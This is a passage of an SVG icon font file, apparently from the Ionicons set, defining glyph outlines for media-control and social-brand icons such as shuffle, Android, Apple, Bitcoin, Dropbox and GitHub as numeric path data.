d="M288 70v59l38 31v-109c0 -11 -8 -19 -19 -19h-288c-11 0 -19 9 -19 19v218c0 11 8 19 19 19h120c-29 -18 -43 -38 -43 -38h-58v-180h250zM256 224c-84 0 -116 -24 -160 -96c0 0 5 164 160 164v60l128 -96l-128 -96v64z" />
    <glyph glyph-name="ion-shuffle" unicode="&#xf221;" 
d="M338 267c-52 0 -83 -43 -120 -92c-41 -55 -88 -120 -171 -120h-47v63h47c52 0 84 47 121 96c41 55 87 116 170 116h29v54l81 -81l-81 -84v48h-29zM121 230c-21 21 -42 35 -74 36c-34 1 -47 0 -47 0v63h47c48 0 83 -20 113 -48c-10 -12 -19 -24 -28 -36
c-4 -5 -7 -10 -11 -15zM367 118v47l81 -84l-81 -81v54h-29c-50 0 -87 23 -117 53c12 14 22 28 32 41c2 3 5 6 7 9c22 -24 46 -39 78 -39h29z" />
    <glyph glyph-name="ion-skip-backward" unicode="&#xf222;" horiz-adv-x="384" 
d="M12 352h8c7 0 12 -5 12 -12v-113l187 122c2 2 5 3 8 3c8 0 16 -7 16 -17v-63l118 78c2 2 5 2 8 2c8 0 15 -7 15 -17v-286c0 -10 -7 -17 -15 -17c-3 0 -5 1 -8 3l-118 78v-64c0 -10 -8 -17 -16 -17c-3 0 -5 1 -8 3l-187 122v-113c0 -7 -5 -12 -12 -12h-8
c-7 0 -12 5 -12 12v296c0 7 5 12 12 12z" />
    <glyph glyph-name="ion-skip-forward" unicode="&#xf223;" horiz-adv-x="384" 
d="M372 352c7 0 12 -5 12 -12v-296c0 -7 -5 -12 -12 -12h-8c-7 0 -12 5 -12 12v113l-187 -122c-3 -2 -5 -3 -8 -3c-8 0 -15 7 -15 17v64l-119 -78c-3 -2 -5 -3 -8 -3c-8 0 -15 7 -15 17v286c0 10 7 17 15 17c3 0 6 0 8 -2l119 -78v63c0 10 7 17 15 17c3 0 6 -1 8 -3
l187 -122v113c0 7 5 12 12 12h8z" />
    <glyph glyph-name="ion-social-android-outline" unicode="&#xf224;" horiz-adv-x="352" 
d="M272 240h-192v-60v-89h24h16v-15v-52c0 -4 4 -8 8 -8s8 4 8 8v52v15h17h49h15v-15v-52c0 -2 1 -4 3 -6h1v0c1 -1 2 -2 4 -2h1v0v0c4 0 7 4 7 8v52v15h17h22v89v60zM288 256v0v-76v-90c0 -7 -3 -15 -10 -15h-29v-51c0 -13 -10 -24 -23 -24v0h-1c-6 0 -11 2 -15 5
c-5 4 -9 11 -9 19v51h-49v-51c0 -13 -11 -24 -24 -24s-24 11 -24 24v51h-28c-7 0 -12 8 -12 15v90v76h224zM328 256c-4 0 -8 -4 -8 -8v-96c0 -4 4 -8 8 -8s8 4 8 8v96c0 4 -4 8 -8 8zM328 272v0c13 0 24 -11 24 -24v-96c0 -13 -11 -24 -24 -24s-24 11 -24 24v96
c0 13 11 24 24 24zM24 256c-4 0 -8 -4 -8 -8v-96c0 -4 4 -8 8 -8s8 4 8 8v96c0 4 -4 8 -8 8zM24 272v0c13 0 24 -11 24 -24v-96c0 -13 -11 -24 -24 -24s-24 11 -24 24v96c0 13 11 24 24 24zM175 354c-14 0 -27 -3 -38 -6l-10 -4c-28 -12 -40 -37 -44 -56h186
c-4 18 -15 43 -44 56l-10 4c-12 4 -25 6 -39 6v0v0h-1zM105 384v0h1l19 -23c13 5 30 9 50 9h1c20 0 36 -4 50 -9l20 23v0s1 -1 2 -1c1 -1 2 -3 2 -3l-19 -22c48 -21 56 -71 57 -86h-224c1 15 9 66 57 87l-19 22c0 1 1 1 2 2zM127 309c-7 0 -14 6 -14 13s6 14 14 14
c7 0 13 -7 13 -14s-5 -13 -13 -13zM225 309c-7 0 -13 6 -13 13s5 14 13 14c7 0 13 -7 13 -14s-6 -13 -13 -13z" />
    <glyph glyph-name="ion-social-android" unicode="&#xf225;" horiz-adv-x="352" 
d="M64 180v76h224v-76v-90c0 -7 -4 -14 -11 -14h-28v-52c0 -13 -11 -24 -24 -24v0h-1c-6 0 -10 2 -14 5c-5 4 -9 11 -9 19v52h-49v-52c0 -13 -11 -24 -24 -24s-24 11 -24 24v52h-29c-7 0 -11 7 -11 14v90zM328 272c13 0 24 -11 24 -24v-96c0 -13 -11 -24 -24 -24
s-24 11 -24 24v96c0 13 11 24 24 24zM24 272c13 0 24 -11 24 -24v-96c0 -13 -11 -24 -24 -24s-24 11 -24 24v96c0 13 11 24 24 24zM231 359c48 -21 56 -72 57 -87h-224c1 15 8 66 56 87l-18 22c0 1 0 1 1 2s3 1 3 1l19 -23c14 5 31 9 51 9s36 -4 50 -9l20 23c0 1 1 0 2 -1
l2 -2zM127 309c8 0 13 6 13 13s-6 14 -13 14c-8 0 -14 -7 -14 -14s7 -13 14 -13zM225 309c7 0 14 6 14 13s-7 14 -14 14c-8 0 -13 -7 -13 -14s6 -13 13 -13z" />
    <glyph glyph-name="ion-social-angular-outline" unicode="&#xf4d8;" 
d="M224 384l-188 -69l39 -230l149 -80l149 80l39 230zM224 416v0l224 -80l-46 -272l-178 -96l-178 96l-46 272zM312 96l-27 56h-122l-27 -56h-40l128 280l128 -280h-40zM182 192h84l-42 89z" />
    <glyph glyph-name="ion-social-angular" unicode="&#xf4d9;" 
d="M182 192l42 89l42 -89h-84zM224 416l224 -80l-46 -272l-178 -96l-178 96l-46 272zM312 96h40l-128 280l-128 -280h40l27 56h122z" />
    <glyph glyph-name="ion-social-apple-outline" unicode="&#xf226;" horiz-adv-x="320" 
d="M238 278c-15 0 -26 -4 -37 -8c-10 -4 -21 -8 -35 -8s-25 4 -37 8c-11 4 -22 8 -34 8c-11 0 -23 -3 -34 -10c-12 -7 -23 -18 -31 -31c-12 -18 -16 -47 -13 -77c3 -34 16 -69 35 -99c13 -21 30 -45 50 -45h1c8 0 13 3 20 6c10 5 23 10 44 10v0c21 0 34 -5 44 -10
c7 -3 12 -6 19 -6v0c22 0 44 35 52 48c8 12 12 20 17 31c-12 7 -22 16 -30 28c-10 15 -17 33 -18 52c-1 18 2 37 10 53c6 12 14 22 24 30c-14 13 -31 20 -47 20zM238 294v0c25 0 52 -14 71 -39c-63 -36 -53 -128 11 -153c-9 -20 -13 -28 -24 -46c-16 -25 -37 -56 -65 -56h-1
c-24 0 -31 16 -63 16v0c-33 0 -40 -16 -64 -16h-1c-28 0 -48 28 -64 53c-44 69 -48 150 -21 193c19 30 50 48 78 48c29 0 47 -16 71 -16c23 0 38 16 72 16zM214 364c-11 -5 -21 -13 -28 -22c-4 -5 -9 -13 -13 -23c-1 -3 -2 -6 -2 -9c11 4 21 11 28 21c4 5 12 18 15 33z
M230 384v0c3 -23 -6 -46 -18 -62c-13 -17 -35 -30 -56 -30h-1c-4 22 6 44 18 60c14 17 37 31 57 32z" />
    <glyph glyph-name="ion-social-apple" unicode="&#xf227;" horiz-adv-x="320" 
d="M238 294v0c25 0 52 -14 71 -39c-63 -36 -53 -128 11 -153c-9 -20 -13 -28 -24 -46c-16 -25 -37 -56 -65 -56h-1c-24 0 -31 16 -63 16v0c-33 0 -40 -16 -64 -16h-1c-28 0 -48 28 -64 53c-44 69 -48 150 -21 193c19 30 50 48 78 48c29 0 47 -16 71 -16c23 0 38 16 72 16z
M230 384v0c3 -23 -6 -46 -18 -62c-13 -17 -35 -30 -56 -30h-1c-4 22 6 44 18 60c14 17 37 31 57 32z" />
    <glyph glyph-name="ion-social-bitcoin-outline" unicode="&#xf2ae;" horiz-adv-x="320" 
d="M184 400h-8v-48v-16h-16h-32h-16v16v48h-9v-48v-16h-16h-72v-16h13c11 0 19 0 25 -3s10 -7 13 -13s3 -8 3 -20v-178c0 -11 0 -18 -3 -24v-1c-1 -3 -4 -10 -12 -14h-1c-5 -3 -8 -3 -17 -3h-13l-3 -16h67h16v-16v-48h9v48v16h16h32h16v-16v-48h8v49v16h15c23 1 41 5 55 10
c16 6 28 15 37 26c8 11 12 29 13 42c1 14 -1 29 -4 36s-8 16 -21 23c-7 4 -14 6 -21 8l-46 11l43 19c4 2 7 4 12 9c6 5 9 12 11 16c2 5 4 13 3 22c-1 17 -4 29 -10 37c-7 9 -17 16 -31 21c-12 5 -24 7 -41 8l-15 1v15v47zM200 416v0v-63c20 -1 32 -4 45 -9
c16 -6 29 -15 38 -27s12 -28 13 -45c1 -10 0 -20 -3 -28s-8 -16 -16 -23c-6 -6 -11 -9 -16 -11c9 -2 17 -6 25 -10c15 -8 24 -18 29 -30c4 -10 6 -30 5 -44c-1 -16 -6 -37 -16 -51c-11 -14 -26 -24 -45 -31c-15 -6 -33 -10 -59 -11v-65h-40v64h-32v-64h-41v64h-87l8 48h28
c9 0 8 1 11 2s4 3 5 6s1 9 1 18v178c0 9 0 10 -1 12s-3 4 -6 6s-9 2 -18 2h-28v48h87v64h41v-64h32v64h40zM160 298v-74h-32v74h32zM160 176v0v-90h-32v90h32zM200 294v0c6 -2 10 -7 14 -12c4 -6 6 -13 6 -21s-2 -15 -7 -21c-4 -5 -7 -9 -13 -12v66zM200 174v0
c5 -1 8 -1 12 -3c8 -3 14 -7 19 -13s8 -15 8 -24c0 -11 -2 -19 -10 -26s-13 -11 -23 -15c-2 -1 -4 0 -6 -1v82z" />
    <glyph glyph-name="ion-social-bitcoin" unicode="&#xf2af;" horiz-adv-x="320" 
d="M314 169c4 -10 7 -30 6 -44c-1 -16 -5 -37 -16 -51s-26 -24 -45 -31c-15 -6 -33 -10 -59 -11v-64h-40v64h-32v-64h-41v64h-87l9 48h26c9 0 9 0 12 1s4 4 5 7s2 8 2 17v173c0 9 -1 16 -2 18s-3 4 -6 6s-9 2 -18 2h-28v48h87v64h41v-64h32v64h40v-64c20 -1 33 -4 46 -9
c16 -6 28 -15 37 -27s12 -28 13 -45c1 -10 0 -20 -3 -28c-2 -8 -8 -16 -16 -23c-6 -6 -11 -9 -16 -11c9 -2 17 -6 25 -10c15 -8 23 -18 28 -30zM128 298v-74h32v74h-32zM128 86h32v90h-32v-90zM200 294v-66c6 3 9 7 13 12c5 6 7 12 7 20s-2 15 -6 21c-4 5 -8 11 -14 13z
M229 107c8 7 10 15 10 26c0 9 -3 19 -8 25s-12 10 -20 13c-4 2 -6 2 -11 3v-82c2 0 5 1 7 2c10 4 14 6 22 13z" />
    <glyph glyph-name="ion-social-buffer-outline" unicode="&#xf228;" horiz-adv-x="384" 
d="M7 284c-9 4 -9 11 0 15l169 82c4 2 10 3 16 3s12 -1 16 -3l169 -82c9 -4 9 -11 0 -15l-169 -82c-4 -2 -10 -3 -16 -3s-12 1 -16 3zM183 366l-156 -75l156 -75c2 -1 5 -1 9 -1s7 0 9 1l156 75l-156 75c-2 1 -5 2 -9 2s-7 -1 -9 -2zM377 200c9 -4 9 -12 0 -16l-169 -81
c-4 -2 -10 -4 -16 -4s-12 2 -16 4l-169 81c-9 4 -9 12 0 16c0 0 27 13 33 16c5 3 7 3 13 0s123 -60 123 -60c4 -2 10 -3 16 -3s12 1 16 3c0 0 121 59 125 61s5 2 9 0s35 -17 35 -17zM201 117l156 75l-19 9l-123 -59c-6 -3 -15 -5 -23 -5s-17 2 -23 5l-123 59l-19 -9l156 -75
c2 -1 5 -2 9 -2s7 1 9 2zM377 100c9 -4 9 -11 0 -15l-169 -82c-4 -2 -10 -3 -16 -3s-12 1 -16 3l-169 82c-9 4 -9 11 0 15c0 0 27 14 33 17c5 3 7 2 13 -1s123 -59 123 -59c4 -2 10 -3 16 -3s12 1 16 3c0 0 121 58 125 60s5 2 9 0s35 -17 35 -17zM201 18l156 75l-19 9
l-123 -60c-6 -3 -15 -4 -23 -4s-17 1 -23 4l-123 60l-19 -9l156 -75c2 -1 5 -2 9 -2s7 1 9 2z" />
    <glyph glyph-name="ion-social-buffer" unicode="&#xf229;" horiz-adv-x="384" 
d="M7 284c-9 4 -9 11 0 15l169 82c4 2 10 3 16 3s12 -1 16 -3l169 -82c9 -4 9 -11 0 -15l-169 -82c-4 -2 -10 -3 -16 -3s-12 1 -16 3zM377 200c9 -4 9 -12 0 -16l-169 -81c-4 -2 -10 -4 -16 -4s-12 2 -16 4l-169 81c-9 4 -9 12 0 16c0 0 27 13 33 16c5 3 7 3 13 0
s123 -60 123 -60c4 -2 10 -3 16 -3s12 1 16 3c0 0 121 59 125 61s5 2 9 0s35 -17 35 -17zM377 100c9 -4 9 -11 0 -15l-169 -82c-4 -2 -10 -3 -16 -3s-12 1 -16 3l-169 82c-9 4 -9 11 0 15c0 0 27 14 33 17c5 3 7 2 13 -1s123 -59 123 -59c4 -2 10 -3 16 -3s12 1 16 3
c0 0 121 58 125 60s5 2 9 0s35 -17 35 -17z" />
    <glyph glyph-name="ion-social-chrome-outline" unicode="&#xf4da;" 
d="M224 416c123 0 224 -101 224 -224s-101 -224 -224 -224s-224 101 -224 224s101 224 224 224zM224 371c-57 0 -109 -27 -141 -68l54 -93c8 40 43 72 87 72h155c-30 54 -89 89 -155 89zM291 192c0 37 -30 67 -67 67s-67 -30 -67 -67s30 -67 67 -67s67 30 67 67zM45 192
c0 -91 67 -166 154 -177l54 93c-9 -3 -19 -6 -29 -6c-34 0 -61 18 -77 45v0l-78 135c-16 -27 -24 -58 -24 -90zM224 13c99 0 179 80 179 179c0 24 -4 46 -13 67h-108c19 -17 32 -40 32 -67c0 -17 -5 -32 -13 -45v0z" />
    <glyph glyph-name="ion-social-chrome" unicode="&#xf4db;" 
d="M157 192c0 37 30 67 67 67s67 -30 67 -67s-30 -67 -67 -67s-67 30 -67 67zM445 230c2 -12 3 -25 3 -38c0 -106 -74 -195 -174 -218c-10 -2 -20 -4 -30 -5c-7 -1 -13 -1 -20 -1c-8 0 -17 0 -25 1v0v0v0v1l102 177c8 13 13 28 13 45c0 27 -13 50 -32 67h156
c3 -9 5 -19 7 -29v0c-2 10 -4 20 -7 29v0c3 -9 5 -19 7 -29v0zM224 103c10 0 20 2 29 5l-78 -135v0c-42 9 -79 30 -108 59c-42 41 -67 97 -67 160c0 31 6 61 18 88c7 16 16 31 26 45v0l103 -178c16 -27 43 -44 77 -44zM59 343v0v1c24 26 55 47 90 59c23 8 49 13 75 13
c73 0 138 -36 179 -90h1c10 -14 18 -29 25 -44v0c-7 15 -15 30 -25 44h-1c10 -14 19 -29 26 -44h-205c-44 0 -79 -32 -87 -72z" />
    <glyph glyph-name="ion-social-codepen-outline" unicode="&#xf4dc;" 
d="M356 244c5 -3 7 -6 7 -12v-81c0 -6 -3 -10 -8 -13c-41 -27 -82 -55 -123 -82c-6 -4 -11 -4 -17 0c-41 27 -81 55 -122 82c-5 3 -8 7 -8 13v80c0 6 3 11 8 14c41 27 81 54 122 81c6 4 11 4 17 0c41 -27 83 -55 124 -82zM236 296v-54c0 -1 1 -2 2 -3c16 -11 31 -21 47 -32
c1 -1 3 -1 4 0l40 26zM212 295c0 0 -62 -41 -93 -62c14 -9 27 -17 40 -26c1 -1 3 -1 4 0c15 10 31 21 46 31c1 1 3 4 3 6v51zM109 211v-40l30 20zM212 87v53c0 1 -2 3 -3 4c-15 10 -31 21 -46 31c-2 1 -3 1 -5 0l-39 -26c31 -21 93 -62 93 -62zM227 165l39 26s-34 23 -40 27
c-1 1 -4 0 -5 -1c-5 -3 -9 -6 -14 -9c-8 -6 -25 -17 -25 -17l39 -26c2 -1 4 -1 6 0zM236 87l93 62l-38 26c-2 2 -5 2 -7 0c-15 -10 -30 -21 -45 -31c-2 -2 -3 -3 -3 -6v-51zM338 171v40l-30 -20zM224 384c-51 0 -100 -20 -136 -56s-56 -85 -56 -136s20 -100 56 -136
s85 -56 136 -56s100 20 136 56s56 85 56 136s-20 100 -56 136s-85 56 -136 56zM224 416v0c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224z" />
    <glyph glyph-name="ion-social-codepen" unicode="&#xf4dd;" 
d="M209 144c1 -1 3 -3 3 -4v-53s-62 41 -93 62l39 26c2 1 3 1 5 0c15 -10 31 -21 46 -31zM163 207c-1 -1 -3 -1 -4 0c-13 9 -26 17 -40 26c31 21 93 62 93 62v-51c0 -2 -2 -5 -3 -6c-15 -10 -31 -21 -46 -31zM238 239c-1 1 -2 2 -2 3v54l93 -63l-40 -26c-1 -1 -3 -1 -4 0
c-16 11 -31 21 -47 32zM226 218c6 -4 40 -27 40 -27l-39 -26c-2 -1 -4 -1 -6 0l-39 26s17 11 25 17c5 3 9 6 14 9c1 1 4 2 5 1zM109 211l30 -20l-30 -20v40zM224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM363 151v81
c0 6 -2 9 -7 12c-41 27 -83 55 -124 82c-6 4 -11 4 -17 0c-41 -27 -81 -54 -122 -81c-5 -3 -8 -8 -8 -14v-80c0 -6 3 -10 8 -13c41 -27 81 -55 122 -82c6 -4 11 -4 17 0c41 27 82 55 123 82c5 3 8 7 8 13zM284 175c2 2 5 2 7 0l38 -26l-93 -62v51c0 3 1 4 3 6
c15 10 30 21 45 31zM338 171l-30 20l30 20v-40z" />
    <glyph glyph-name="ion-social-css3-outline" unicode="&#xf4de;" horiz-adv-x="384" 
d="M291 81l-99 -28l-98 28l-7 78h48l4 -40l53 -15v0v0l54 15l5 64h-112l-4 50h121l4 51h-184l-4 49h241zM0 416h384l-35 -403l-157 -45l-157 45zM319 37l30 347h-314l30 -347l127 -36z" />
    <glyph glyph-name="ion-social-css3" unicode="&#xf4df;" horiz-adv-x="384" 
d="M192 109v0zM0 416h384l-35 -403l-157 -45l-157 45zM291 81l22 252h-241l4 -49h184l-4 -51h-121l4 -50h112l-5 -64l-54 -15v0v0l-53 15l-4 40h-48l7 -78l98 -28z" />
    <glyph glyph-name="ion-social-designernews-outline" unicode="&#xf22a;" 
d="M259 302v-53l-65 103zM0 188zM297 352l151 -119v-201h-248l-200 156h63c46 0 77 33 77 82c0 20 -5 37 -15 51l-3 3l37 -29v-107h41l-2 98l63 -98h36v84v80zM432 48v178l-119 92v1v-47v-83v-17h-15h-37h-9l-4 8l-33 50l1 -42v-16h-16h-41h-16v16v29c-3 -6 -7 -12 -12 -17
c-8 -9 -18 -16 -30 -21s-24 -7 -38 -7h-16l159 -124h226zM59 298h-1h-3v-57h4c8 0 13 2 17 6c5 6 6 15 6 22c0 26 -12 29 -23 29zM59 314v0c25 0 39 -16 39 -45c0 -28 -14 -44 -40 -44h-19v89h20z" />
    <glyph glyph-name="ion-social-designernews" unicode="&#xf22b;" 
d="M258 303l1 -53l-64 102zM297 352l151 -118v-202h-248l-200 157v0h63c46 0 77 33 77 82c0 20 -5 37 -15 51l-3 3l37 -29v-107h40l-2 99l64 -99h36v83v80zM98 270c0 -28 -14 -44 -40 -44h-19v89h19c26 0 40 -16 40 -45z" />
    <glyph glyph-name="ion-social-dribbble-outline" unicode="&#xf22c;" horiz-adv-x="384" 
d="M192 384c106 0 192 -86 192 -192s-86 -192 -192 -192s-192 86 -192 192s86 192 192 192zM314 296c-17 -25 -47 -47 -85 -64c5 -10 9 -20 13 -31c33 3 75 4 110 2c-2 35 -16 68 -38 93zM192 352c-14 0 -26 -2 -39 -5c23 -23 43 -53 62 -87c34 14 62 33 79 55
c-28 23 -63 37 -102 37zM120 334c-41 -21 -71 -58 -83 -103h25c44 0 85 6 121 17c-19 34 -40 63 -63 86zM32 200v-8c0 -40 15 -78 40 -106c24 45 67 83 122 106c4 2 8 3 14 4c-3 8 -6 16 -10 24c-40 -13 -88 -20 -138 -21c-9 0 -19 1 -28 1zM192 32c20 0 39 3 57 10
c-3 25 -8 53 -15 79c-4 17 -10 33 -16 49c-7 -2 -13 -4 -17 -6c-48 -22 -86 -56 -107 -98c27 -21 61 -34 98 -34zM278 58c40 26 68 67 73 116c-30 2 -68 3 -99 0c4 -12 9 -25 12 -38c7 -27 11 -52 14 -78z" />
    <glyph glyph-name="ion-social-dribbble" unicode="&#xf22d;" horiz-adv-x="384" 
d="M192 384c106 0 192 -86 192 -192s-86 -192 -192 -192s-192 86 -192 192s86 192 192 192zM192 32c88 0 160 72 160 160s-72 160 -160 160s-160 -72 -160 -160s72 -160 160 -160zM242 201c-4 11 -8 21 -13 31c25 11 47 24 63 39c15 -19 26 -42 28 -67c-26 0 -55 -1 -78 -3z
M271 292c-15 -12 -34 -23 -56 -32c-12 22 -24 41 -38 59c5 1 10 1 15 1c30 0 57 -11 79 -28zM142 310c15 -18 28 -39 41 -62c-34 -10 -72 -16 -113 -17c11 36 38 65 72 79zM319 176c-4 -33 -21 -63 -46 -83c-3 14 -5 28 -9 43c-3 13 -8 26 -12 38c21 2 45 3 67 2zM194 192
c-43 -18 -79 -46 -104 -78c-16 22 -26 49 -26 78v7c49 1 95 8 134 21c4 -8 7 -16 10 -24c-6 -1 -10 -2 -14 -4zM219 170c6 -16 11 -32 15 -49c4 -15 7 -31 10 -46c-16 -7 -34 -11 -52 -11c-31 0 -59 11 -81 29c22 30 53 54 90 71c4 2 11 4 18 6z" />
    <glyph glyph-name="ion-social-dropbox-outline" unicode="&#xf22e;" horiz-adv-x="384" 
d="M113 371l79 -66l-114 -71l-78 63zM27 295l52 -42l86 53l-53 46zM306 235l78 -63l-78 -51v-39l-114 -69l-114 68v39l-78 52l78 63l114 -71l-79 -66l-19 12v-20l98 -59l98 59v20l-19 -12l-79 66zM79 217l-52 -44l85 -55l53 44zM219 162l53 -44l85 56l-52 43zM384 297
l-78 -63l-114 71l79 66zM219 305l86 -52l52 42l-85 56z" />
    <glyph glyph-name="ion-social-dropbox" unicode="&#xf22f;" horiz-adv-x="384" 
d="M113 371l79 -66l-114 -71l-78 63zM0 172l78 62l114 -70l-79 -66zM192 164l114 70l78 -62l-113 -74zM384 297l-78 -63l-114 71l79 66zM192 150l80 -66l34 22v-25l-114 -68l-114 68v25l34 -22z" />
    <glyph glyph-name="ion-social-euro-outline" unicode="&#xf4e0;" horiz-adv-x="320" 
d="M214 384c-53 0 -91 -9 -115 -27c-22 -16 -33 -40 -33 -74v-11v-17h-16h-34v-16h34h16v-15v-48v-17h-16h-34v-16h34h16v-15v-27c0 -34 11 -58 33 -74c24 -18 62 -27 115 -27c31 0 59 2 88 8l-5 35c-30 -4 -55 -7 -80 -7c-36 0 -59 6 -74 19c-19 16 -21 40 -21 60v13v15h16
h103l3 16h-106h-16v17v48v15h16h118l2 16h-120h-16v17v2c0 16 2 39 21 55c16 13 39 19 74 19c24 0 51 -3 80 -7l5 35c-29 6 -57 8 -88 8zM214 400v0c35 0 68 -3 106 -12l-9 -65c-37 6 -68 9 -94 9c-64 0 -79 -22 -79 -58v-3h139l-8 -48h-131v-48h124l-7 -48h-117v-12
c0 -44 15 -63 79 -63c26 0 57 3 94 9l9 -65c-38 -9 -71 -12 -106 -12c-115 0 -164 41 -164 117v26h-50v48h50v48h-50v48h50v12c0 76 49 117 164 117z" />
    <glyph glyph-name="ion-social-euro" unicode="&#xf4e1;" horiz-adv-x="320" 
d="M138 176h124l-7 -48h-117v-13c0 -44 15 -63 79 -63c26 0 56 3 93 9l10 -65c-38 -9 -71 -12 -106 -12c-115 0 -164 41 -164 117v27h-50v48h50v48h-50v48h50v11c0 76 49 117 164 117c35 0 68 -3 106 -12l-10 -65c-37 6 -67 9 -93 9c-64 0 -79 -22 -79 -58v-2h138l-7 -48
h-131v-48z" />
    <glyph glyph-name="ion-social-facebook-outline" unicode="&#xf230;" horiz-adv-x="192" 
d="M128 256h64l-8 -64h-56v-192h-83v192h-45v64h45v43c0 54 23 85 91 85h56v-64h-34c-27 0 -30 -9 -30 -26v-38zM170 208l4 32h-45h-17v17v37c0 10 1 21 9 30c10 11 25 12 37 12h18v32h-40c-28 0 -49 -6 -60 -18c-10 -11 -15 -27 -15 -51v-43v-16h-15h-30v-32h30h15v-16
v-176h51v176v16h17h41z" />
    <glyph glyph-name="ion-social-facebook" unicode="&#xf231;" horiz-adv-x="192" 
d="M128 256h64l-8 -64h-56v-192h-83v192h-45v64h45v43c0 54 23 85 91 85h56v-64h-34c-27 0 -30 -9 -30 -26v-38z" />
    <glyph glyph-name="ion-social-foursquare-outline" unicode="&#xf34c;" horiz-adv-x="320" 
d="M302 284c-12 -60 -25 -131 -27 -138zM281 416c35 0 45 -20 37 -57c-3 -16 -10 -44 -16 -75l-27 -137c-3 -13 -8 -35 -39 -35h-72c-3 0 -3 0 -6 -3c-2 -2 -115 -133 -115 -133c-9 -10 -23 -8 -28 -6s-15 8 -15 26v380s10 40 43 40h238zM280 352c6 31 6 32 -24 32h-195
c-29 0 -29 -3 -29 -28v-297c0 -38 1 -38 3 -38s10 8 29 31c0 0 78 89 79 90c2 2 3 2 6 2h62c26 0 28 6 33 31c4 21 36 177 36 177zM302 284c6 31 13 59 16 75zM233 352c5 0 9 -5 8 -11l-8 -44c-1 -4 -6 -9 -11 -9h-75c-8 0 -8 -5 -8 -13v-6c0 -8 0 -13 8 -13h64
s11 -6 10 -12s-11 -51 -12 -54s-4 -9 -11 -9h-62c-9 0 -11 -1 -17 -8l-54 -63c-1 -1 -1 -1 -1 0v231c0 5 5 11 11 11h158z" />
    <glyph glyph-name="ion-social-foursquare" unicode="&#xf34d;" horiz-adv-x="320" 
d="M281 416c35 0 45 -20 37 -57c-10 -49 -40 -202 -43 -213c-3 -13 -8 -34 -39 -34h-72c-3 0 -3 0 -6 -3c-2 -2 -115 -133 -115 -133c-9 -10 -23 -8 -28 -6s-15 8 -15 26v380s10 40 43 40h238zM275 146c3 11 33 164 43 213zM267 351c2 9 -5 16 -12 16h-191
c-9 0 -15 -8 -15 -15v-296c0 -1 1 -1 2 0c0 0 70 84 78 94s11 11 23 11h64c9 0 14 8 15 12s8 43 10 51s-6 16 -13 16h-82c-10 0 -18 8 -18 18v13c0 10 8 17 18 17h96s14 6 15 12z" />
    <glyph glyph-name="ion-social-freebsd-devil" unicode="&#xf2c4;" horiz-adv-x="512" 
d="M503 333c19 -37 8 -81 -20 -108s-60 -33 -60 -33c2 -32 16 -59 -41 -102c-43 -32 2 -90 2 -90c10 -14 23 -19 32 -32h-272s15 14 -7 32c0 0 -20 17 -18 29s6 13 9 15s0 7 0 7l-19 19s-13 -13 -44 -13c-38 0 -65 39 -65 39h46s-6 -8 -7 -13c-1 -4 1 -5 1 -5s11 -6 22 -6
c17 0 33 12 33 12l-24 22l-15 -4l-16 37l39 -10l-1 -15l28 -18s9 9 7 27s-9 26 -9 26s-4 0 -9 -4s-6 -6 -6 -6l-10 44s43 -19 50 -63c3 -20 -6 -35 -6 -35l17 -10s6 5 17 7s23 2 29 -8s5 -12 4 -19s0 -9 6 -11s6 -6 11 -8s15 -6 21 -2s8 11 8 18v16s-9 8 -32 20
s-54 22 -66 40s-12 44 0 57c9 10 23 25 26 35c4 14 4 42 4 42s-10 16 -8 40c2 30 22 84 96 114c0 0 -40 -55 -20 -80c0 0 37 11 77 9c31 -2 56 -12 73 -28s25 -23 47 -17s28 17 28 33c0 19 -16 51 -16 51s36 -7 58 -51zM195 245c14 4 21 -11 21 -11c14 25 30 60 22 64
s-64 -25 -66 -88c0 0 6 31 23 35zM232 230c5 7 34 8 37 -17c4 -35 -24 -57 -24 -57s7 -2 23 2c17 4 43 29 43 70s-21 66 -41 62s-38 -60 -38 -60z" />
    <glyph glyph-name="ion-social-github-outline" unicode="&#xf232;" 
d="M224 416c124 0 224 -103 224 -230c0 -101 -64 -188 -153 -218h-4c-8 0 -12 7 -12 12c0 8 1 31 1 62c0 21 -8 36 -16 43c50 6 103 25 103 113c0 25 -9 46 -23 62c2 6 10 29 -2 61h-5c-8 0 -27 -3 -57 -24c-18 5 -37 8 -56 8s-38 -3 -56 -8c-30 21 -49 24 -57 24h-5
c-12 -32 -4 -55 -2 -61c-14 -16 -23 -37 -23 -62c0 -88 52 -107 102 -113c-6 -6 -12 -16 -14 -31c-6 -3 -16 -6 -26 -6c-13 0 -28 5 -39 25c0 0 -13 22 -35 24v0c-2 0 -21 0 -1 -14c0 0 15 -8 25 -34c0 0 10 -33 53 -33c7 0 14 0 22 2v-39c0 -5 -3 -11 -11 -11h-4
c-89 30 -153 116 -153 218c0 127 100 230 224 230zM146 -0c-15 0 -28 4 -38 9c14 -10 28 -17 44 -23v6v8h-6zM157 73c-16 4 -35 10 -52 24c6 -6 11 -11 13 -16c7 -12 14 -17 25 -17c4 0 9 1 12 2c1 2 1 5 2 7zM347 14c17 13 32 28 45 46c26 37 40 80 40 126
c0 29 -5 58 -16 84c-10 25 -26 48 -45 68s-41 34 -66 45c-26 11 -53 17 -81 17s-55 -6 -81 -17c-25 -11 -47 -25 -66 -45s-35 -42 -45 -68c-11 -26 -16 -55 -16 -84c0 -46 14 -89 40 -126c10 -14 22 -27 35 -38c-7 8 -11 16 -13 22c-7 18 -15 24 -17 25h-2v1
c-5 3 -20 13 -15 28c3 9 12 15 25 15h1v0v0c13 -1 24 -6 32 -13c-21 19 -37 48 -37 98c0 24 7 47 21 66c-3 13 -6 34 5 62l3 8l7 2c2 0 5 1 10 1c12 0 31 -3 60 -22c17 4 35 6 53 6v0v0c18 0 36 -2 53 -6c29 19 48 22 60 22c5 0 8 -1 10 -1l7 -2l3 -7c11 -27 8 -50 5 -63
c14 -19 21 -41 21 -66c0 -92 -55 -117 -92 -125c3 -8 5 -18 5 -30v-51v-6c18 7 35 16 51 28z" />
    <glyph glyph-name="ion-social-github" unicode="&#xf233;" 
d="M224 416c124 0 224 -103 224 -230c0 -101 -64 -188 -153 -218h-4c-8 0 -12 7 -12 12c0 8 1 31 1 62c0 21 -8 36 -16 43c50 6 103 25 103 113c0 25 -9 46 -23 62c2 6 10 29 -2 61h-5c-8 0 -27 -3 -57 -24c-18 5 -37 8 -56 8s-38 -3 -56 -8c-30 21 -49 24 -57 24h-5
